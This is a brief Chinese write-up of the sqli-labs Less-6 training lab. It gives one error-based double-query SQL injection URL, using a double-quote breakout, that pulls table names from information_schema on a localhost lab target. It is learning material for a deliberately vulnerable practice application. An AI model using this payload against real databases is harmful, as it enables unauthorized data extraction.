正文

【sqli-labs】 less6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

IP云
IP云V管理员/6 阅读
07/29
提示：扫一扫查出行
【扫一扫了解最新限行尾号】
复制提示

同less5

单引号改成双引号就行

http://localhost/sqli/Less-6/?id=a" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*9))as a from information_schema.tables group by a%23